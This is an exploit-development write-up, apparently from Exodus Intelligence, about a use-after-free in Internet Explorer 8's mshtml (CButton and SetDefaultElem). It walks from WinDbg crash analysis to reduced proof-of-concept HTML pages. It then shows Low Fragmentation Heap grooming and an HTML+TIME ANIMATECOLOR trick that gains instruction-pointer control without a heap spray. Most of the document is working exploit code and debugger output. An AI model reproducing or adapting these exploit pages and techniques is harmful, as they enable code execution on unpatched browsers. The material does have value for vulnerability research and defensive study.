Symbol search path is: srv*c:mss*http://msdl.microsoft.com/download/symbols
Executable search path is:
(4d8.398): Break instruction exception - code 80000003 (first chance)
eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec
eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
1:014&gt; g
ModLoad: 3cea0000 3d45e000   C:WINDOWSsystem32mshtml.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336be40 ebp=0336bf34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:023&gt; bp !mshtml + 0x414c27 ".printf "Created CButton at %p", eax;.echo;g"
1:023&gt; bp !mshtml + 0x414ae1 ".printf "Deleting CButton at %p", ecx;.echo;g"
1:023&gt; bp !mshtml + 0x129f0
1:023&gt; bl
 0 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf "Created CButton at %p", eax;.echo;g"
 1 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf "Deleting CButton at %p", ecx;.echo;g"
 2 e 3ceb29f0     0001 (0001)  1:**** mshtml!CDoc::operator new+0x13
1:023&gt; sxe ld:jscript
1:023&gt; g
Breakpoint 2 hit
eax=04d8a6a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000
eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CDoc::operator new+0x13:
3ceb29f0 c3              ret
1:023&gt; ba w4 eax +  0x1A8
1:023&gt; g
ModLoad: 3d7a0000 3d854000   C:WINDOWSsystem32jscript.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:023&gt; bp jscript!JsAtan2 ".printf "%mu", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:023&gt; g
before get element a
before get element b
before create element q
before apply element e1(b) -&gt; e2(q)
before appendChild create element button
Created CButton at 055a2fa8
Breakpoint 3 hit
eax=00000001 ebx=00000000 ecx=00000025 edx=055a6fd0 esi=04d8a850 edi=055a2fa8
eip=3d07da88 esp=0336a0c8 ebp=0336a0cc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CElement::SetDefaultElem+0x85:
3d07da88 5e              pop     esi
1:023&gt; ub
mshtml!CElement::SetDefaultElem+0x72:
3d07da75 85c0            test    eax,eax
3d07da77 740f            je      mshtml!CElement::SetDefaultElem+0x85 (3d07da88)
3d07da79 6a01            push    1
3d07da7b 8bc7            mov     eax,edi
3d07da7d e8d5b7ebff      call    mshtml!CElement::IsVisible (3cf39257)
3d07da82 85c0            test    eax,eax
3d07da84 7402            je      mshtml!CElement::SetDefaultElem+0x85 (3d07da88)
3d07da86 893e            mov     dword ptr [esi],edi
1:023&gt; kv
ChildEBP RetAddr  Args to Child
0336a0cc 3d2b4ebc 00000000 05584fb0 055a2fa8 mshtml!CElement::SetDefaultElem+0x85
0336a0e4 3d092c04 0336a13c 04c8cf28 0336a1b0 mshtml!CButton::Notify+0xbb
0336a180 3d09290a 04c8cf28 055a2fa8 0336a1a4 mshtml!CMarkup::InsertElementInternal+0x3f3
0336a1bc 3d0926c0 055a2fa8 00000000 00000001 mshtml!CDoc::InsertElement+0x8a
0336a250 3d09265a 00000000 0336a26c 0336a3a0 mshtml!UnicodeCharacterCount+0x27f
0336a2b8 3d092580 055a0fd8 00000000 0336a2f4 mshtml!CElement::InsertBeforeHelper+0xd1
0336a2d4 3d092707 0412efd8 055a0fd8 00000001 mshtml!CElement::insertBefore+0x3c
0336a314 3d092e7f 0412efd8 055a0fd8 0336a3a0 mshtml!CElement::appendChild+0x39
1:023&gt; dc edi L58/4
055a2fa8  3cf70d10 00000003 00000008 055a4fe8  ...&lt;.........OZ.
055a2fb8  029e5e00 05584fb0 00000012 80096200  .^...OX......b..
055a2fc8  00000006 04c8cf28 3cf782e0 00000000  ....(...... dds edi L1
055a2fa8  3cf70d10 mshtml!CButton::`vftable'
</pre>

It looks like the CElement::SetDefaultElem ‘forgets’ to call AddRef on an object before it adds a reference to the object to the main CDoc object. As such the object can be freed by removing all other references to the object and will still be accessible through the Default Element reference in the CDoc object.

Now that we have a rough idea of what is going on we can try to simplify the PoC a bit more. After I did my own reduction I read the BinVul.com blogpost by @h4ckmp who came to mostly the same conclusions as I did.

Lets start by reading and commenting the POC. First of all, we have a html document with an empty form element and a dfn element. When the document is loaded we start our evil code.

e0 = document.getElementById("a");

Get a reference to the form object

e1 = document.getElementById("b");

Get a reference to the dfn object

e2 = document.createElement("q");

Create a ‘Q’ element

e1.applyElement(e2);

Set the Q element as the parent of the DFN object. Our (partial) DOM Tree looks like this: Q->DFN

e1.appendChild(document.createElement('button'));

We added a Button element to the DFN Element and our DOM Tree now looks like this: Q->DFN->BUTTON

e1.applyElement(e0);

We squeeze the FORM element in between the Q and the DFN element by setting the FORM element as the parent of the DFN element and now we have this DOM Tree: Q->FORM->DFN->BUTTON

e2.outerText = "";

And we just deleted everything …. our (partial) DOM Tree now only holds the Q element and all the references we had to the CButton object have been released again.

e2.appendChild(document.createElement('body'));

This code is not really necessary to cause the use-after-free but it does make it easier to trigger. I tried to dig up why bit couldn’t come up with an easy explanation.

Just looking at this makes me wonder if we can make this a little bit cleaner. Maybe we don’t even need the DFN and the Q objects at all and just adding a Button to a document and then assigning it to a FORM object might be enough to trigger this issue.

To test this I created the following POC

<pre>
&lt;!doctype html&lt;
&lt;html&lt;
&lt;head&lt;
    &lt;script&lt;
        function helloWorld() {
                e_form = document.getElementById("formelm");
                e_div = document.getElementById("divelm");
                e_div.appendChild(document.createElement('button'))
                e_div.firstChild.applyElement(e_form);
                e_div.innerHTML = ""
                e_div.appendChild(document.createElement('body'));
                CollectGarbage();
        }

    &lt;/script&lt;
&lt;/head&lt;
&lt;div id="divelm"&lt;&lt;/div&lt;
&lt;body onload="eval(helloWorld())"&lt;
    &lt;form id="formelm"&lt;
    &lt;/form&lt;
&lt;/body&lt;
&lt;/html&lt;
</pre>

And yes, this causes the same problem. After running this through windbg with some log messages we get the following result

<pre>

0:000&gt; sxe ld:mshtml
0:000&gt; g
1:023&gt; bp !mshtml + 0x414c27 ".printf "Created CButton at %p", eax;.echo;g"
1:023&gt; bp !mshtml + 0x414ae1 ".printf "Deleting CButton at %p", ecx;.echo;g"
1:023&gt; bp !mshtml + 0x129f0
1:023&gt; g
Breakpoint 2 hit
eax=04ed86a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000
eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CDoc::operator new+0x13:
3ceb29f0 c3              ret
1:023&gt; ba w4 eax +  0x1A8 ".printf "Just added the Default Element";.echo;g"
1:023&gt; sxe ld:jscript
1:023&gt; g
ModLoad: 3d7a0000 3d854000   C:WINDOWSsystem32jscript.dll
1:023&gt; bp jscript!JsAtan2 ".printf "%mu", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:023&gt; g
before creating the button and adding it to the div element
Created CButton at 05748fa8
Just added the Default Element
before adding button to Form
before clearing out the div innerHTML
adding body element to the div
collecting garbage
Deleting CButton at 05748fa8
Done collecting garbage
(ca4.6b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05748fa8 ebx=04c94f28 ecx=00000052 edx=00000000 esi=00000000 edi=05748fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05748fa8=????????
</pre>


You can even clean it up further by removing the DIV element and adding the Button directly to the document.body but that does change things a little bit and make the exploitation a bit less straightforward

Exploitation

Anyway, we now know enough to start writing and exploit. We know the size of the freed object and we know when it is being freed, so it is pretty easy to replace the freed memory with something we control. First we want to make sure that the memory being used by the CButton object is allocated by the Low Fragmentation Heap. This will make replacing the freed memory much more reliable because the LFH does not merge coalescent free blocks and will happily reuse the last free block within a certain block range. The freed CButton object has a size of 0x58 (see CButton::CreateElement) so all we need to do is create an allocation of that size and we will refill the freed memory space.
To make sure the memory occupied by the CButton object will be LFH memory we need to enable the LFH for this memory size. I quote Valasek: “The most common trigger for enabling the LFH is 16 consecutive allocations of the same size.

Of course we need to make sure that we disable pageheap and just to be sure we will also not use the debugheap when running the process with windbg attached.
Analysis-5

We added some code to enable the LFH for the CButton element and the added code to replace the freed memory.

<pre>
&lt;!doctype html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;script&gt;
    function helloWorld() {
            e_form = document.getElementById("formelm");
            e_div = document.getElementById("divelm");

            for(i =0; i &lt; 20; i++) {
                document.createElement('button');
            }

            Math.atan2(0xbadc0de, "before creating the button and adding it to the div element")
            e_div.appendChild(document.createElement('button'))

            Math.atan2(0xbadc0de, "before adding button to Form")
            e_div.firstChild.applyElement(e_form);

            Math.atan2(0xbadc0de, "before clearing out the div innerHTML")
            e_div.innerHTML = ""

            Math.atan2(0xbadc0de, "adding body element to the div")
            e_div.appendChild(document.createElement('body'));
            Math.atan2(0xbadc0de, "collecting garbage")
            CollectGarbage();
            e_div.className = "u2424u2424exodusintel.com--------------------------";
            Math.atan2(0xbadc0de, "Done collecting garbage")
    }

    &lt;/script&gt;
&lt;/head&gt;
&lt;body onload="eval(helloWorld())"&gt;
    &lt;div id="divelm"&gt;&lt;/div&gt;
    &lt;form id="formelm"&gt;
    &lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;

running this results in the following crash

<pre>
(f90.bd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=24242424 ebx=0021f728 ecx=00000052 edx=00000000 esi=00000000 edi=00235088
eip=3d086271 esp=0162d79c ebp=0162d80c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
3d086271 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:24242500=????????
1:025&gt; dc edi
00235088  24242424 00780065 0064006f 00730075  $$$$e.x.o.d.u.s.
00235098  006e0069 00650074 002e006c 006f0063  i.n.t.e.l...c.o.
002350a8  002d006d 002d002d 002d002d 002d002d  m.-.-.-.-.-.-.-.
002350b8  002d002d 002d002d 002d002d 002d002d  -.-.-.-.-.-.-.-.
002350c8  002d002d 002d002d 002d002d 002d002d  -.-.-.-.-.-.-.-.
002350d8  002d002d 0000002d eaa7c6ac ff0c0100  -.-.-...........
002350e8  3cf74690 0021f728 002347f8 3cf77870  .F.&lt;(.!..G#.px.&lt;
002350f8  00000001 00000000 01000808 ffffffff  ................
</pre>

Well that it is pretty obvious we should be able to turn this into a full blown exploit. But wouldnt it be nice if we could actually control EIP and not just a call from a controlled register + offfset? To make this reliable most exploit writers go for heapspray and then go from there, but that is not really necessary for IE8 exploits. Assuming we don’t need to force memory disclosure to bypass ASLR and we can rely on a module that doesn’t opt in to ASLR being present in the process, there are other options availble for the casual exploit writer. As far as I know this is a new technique but since it doesn’t apply to IE9 I dont mind dropping it here.

Internet Explorer 8 has support for HTML+TIME which is based on the Synchronized Multimedia Integration Language (SMIL) something nobady cares about anymore I think. Support for this has been removed in IE9 and higher, but we can still do some funny things with this in IE8. More precisely, it allows us to create an arbitrary sized array containing pointers to strings that we control. With this we can take control over the freed 0x58 sized memory and then have the vftable point to a string that is completely under our control, and thus we control where call [eax+0xDC] would go without using a heapspray. at which point we have control over the memory in eax and we have edi point to a list of pointers where we control the data as well. All in all that should be enough to write a poc that does not need heapsprays at all.

For this trick to work we need to add some funny things to the HTML or the HTML+TIME stuff doesn’t work as expected.

<pre>
&lt;HTML XMLNS:t ="urn:schemas-microsoft-com:time"&gt;
&lt;head&gt;
    &lt;meta&gt;
        &lt;?IMPORT namespace="t" implementation="#default#time2"&gt;
    &lt;/meta&gt;
.
.
.
    &lt;t:ANIMATECOLOR id="myanim"/&gt;
.
.
.
</pre>

by setting the ‘values‘ property of the t:ANIMATECOLOR element to a semicolon separated string we can create an array of pointers that point to the individual elements of the string. So we need to use a string that has 0x58/4 == 0x22 values.

<pre>
animvalues = "u4141u4141"
while(animvalues.length &lt; 0xDC) {
    animvalues += animvalues
}
for(i = 0; i &lt; 21; i++) {
    animvalues += &quot;;cyan&quot;;
}
</pre>

Then we can set the values property to this string and voila, we control EIP directly

<pre>
try {
    a = document.getElementById('myanim');
    a.values = animvalues;
}
catch(e) {}
</pre>

Because the values are suposed to be legit colors you need to do this in a try-except construct so you don’t throw an error and stop the execution of the script. Also, doing this will create some ‘noise’ with additional allocations being made, but nothing that isn’t controllable.

Adding this we get the following POC:

<pre>
&lt;!doctype html&gt;
&lt;HTML XMLNS:t ="urn:schemas-microsoft-com:time"&gt;
&lt;head&gt;
&lt;meta&gt;
    &lt;?IMPORT namespace="t" implementation="#default#time2"&gt;
&lt;/meta&gt;
&lt;script&gt;
    function helloWorld() {
        e_form = document.getElementById("formelm");
        e_div = document.getElementById("divelm");
        animvalues = "u4141u4141"
        while(animvalues.length &lt; 0xDC) {
            animvalues += animvalues
        }
        for(i = 0; i &lt; 21; i++) {
            animvalues += ";cyan";
        }
        for(i =0; i &lt; 20; i++) {
            document.createElement('button');
        }
        e_div.appendChild(document.createElement('button'))
        e_div.firstChild.applyElement(e_form);

        e_div.innerHTML = ""
        e_div.appendChild(document.createElement('body'));

        CollectGarbage();

        try {
            a = document.getElementById('myanim');
            a.values = animvalues;
        }
        catch(e) {}

    }

&lt;/script&gt;
&lt;/head&gt;
&lt;body onload="eval(helloWorld())"&gt;
    &lt;t:ANIMATECOLOR id="myanim"/&gt;
    &lt;div id="divelm"&gt;&lt;/div&gt;
    &lt;form id="formelm"&gt;
    &lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>

Download the POC here.
Running this results in:

<pre>
(fbc.a28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001bb0f8 ebx=0021fac0 ecx=00000052 edx=00000000 esi=00000000 edi=00235880
eip=41414141 esp=0162d798 ebp=0162d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
41414141 ??              ???
1:028&gt; dc eax
001bb0f8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb108  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb118  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb128  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb138  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb148  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb158  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb168  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
1:028&gt; dc edi
00235880  001bb0f8 02367fc8 02367fe0 0018ec10  ......6...6.....
00235890  0019eff0 0019f008 0019f020 0019f038  ........ ...8...
002358a0  0019f050 0019f068 0019f080 0019f098  P...h...........
002358b0  0019f0b0 0019f0c8 0019f0e0 0019f0f8  ................
002358c0  0019f110 0019f128 0019f140 0019f158  ....(...@...X...
002358d0  0019f170 0019f188 eaa4d113 ff0c0100  p...............
002358e0  3cf74690 0021fac0 00234b90 3cf77870  .F.&lt;..!..K#.p
1:028&gt; dc poi(edi+10)
0019eff0  00790063 006e0061 50540000 302e312f  c.y.a.n...TP/1.0
0019f000  e88f2258 ff0e0120 00790063 006e0061  X".. ...c.y.a.n.
0019f010  6d690000 48656c70 e88f225b ff0e0130  ..impleH["..0...
0019f020  00790063 006e0061 0a0d0000 65746144  c.y.a.n.....Date
0019f030  e88f225e ff0e0164 00790063 006e0061  ^"..d...c.y.a.n.
0019f040  30200000 37353a31 e88f2251 ff0e0147  .. 01:57Q"..G...
0019f050  00790063 006e0061 70790000 74203a65  c.y.a.n...ype: t
0019f060  e88f2254 ff0e0168 00790063 006e0061  T"..h...c.y.a.n.
</pre>


From here you can probably use the default ROP chains for Windows XP but I didnt bother trying that.

Conclusion

This is just another Internet Explorer use-after-free bug which was actually relatively easy to analyse and exploit. I used some new and/or non public techniques to get a reliable exploit that doesn’t require heapspray, but all in all this bug can be exploited quite reliably.
If you are interested in analyzing vulnerabilities and writing exploits for them you can take a look at our training, which will focus on IE9.
It is not easy to defend against these type of attacks, but by getting as many details on as many exploitable vulnerabilities as possible we believe we can provide our clients with additional tools and information to strengthen their defenses. If you want more information on this you can contact us at info@exodusintel.com.

– Peter Vreugdenhil
Exodus Intelligence